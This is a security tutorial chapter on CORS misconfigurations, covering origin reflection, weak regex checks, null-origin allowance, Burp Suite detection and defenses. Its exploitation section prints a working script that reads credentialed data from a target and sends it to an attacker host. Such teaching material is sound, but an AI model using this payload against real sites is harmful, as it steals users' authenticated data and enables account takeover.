43. CORS Misconfigurations and Practical Exploitation

CORS (Cross-Origin Resource Sharing) is a browser mechanism that controls access to resources from other origins. A misconfiguration can let an attacker steal an authenticated user's data.

Vulnerable Patterns

1. Origin Reflection

The application copies the request's Origin header directly into Access-Control-Allow-Origin:

GET /api/userinfo HTTP/1.1
Origin: https://evil.attacker.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true

Combined with credentials: true, this sends the session cookie as well and can enable account takeover.

2. Incomplete Regular Expression Validation

# Vulnerable code
if re.match(r'https://legit\.com', origin):
    allow_origin(origin)

This also accepts https://legit.com.evil.com. The expression must include a $ anchor.

3. Allowing the null Origin

Access-Control-Allow-Origin: null

Allowing the null origin generated by <iframe sandbox> or a data: URI makes an attack possible even from a local HTML file.

Practical Exploitation

After finding a vulnerable server:

<!-- Page served by the attacker's server -->
<script>
fetch('https://target.com/api/secret', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  fetch('https://attacker.com/steal?d=' + btoa(data));
});
</script>

When the victim visits this page, authenticated data from target.com is sent to the attacker's server.

Detection

Use Burp Suite to manipulate the Origin header and inspect the response:

Origin: https://evil.com
Origin: null
Origin: https://target.com.evil.com

Check whether the origin is reflected in the response headers and whether Allow-Credentials: true is included.

Defense

• Explicitly manage allowed origins with an allowlist
• Never allow the null origin
• Require an additional CSRF token check for sensitive APIs
• Add a Vary: Origin header to prevent cache poisoning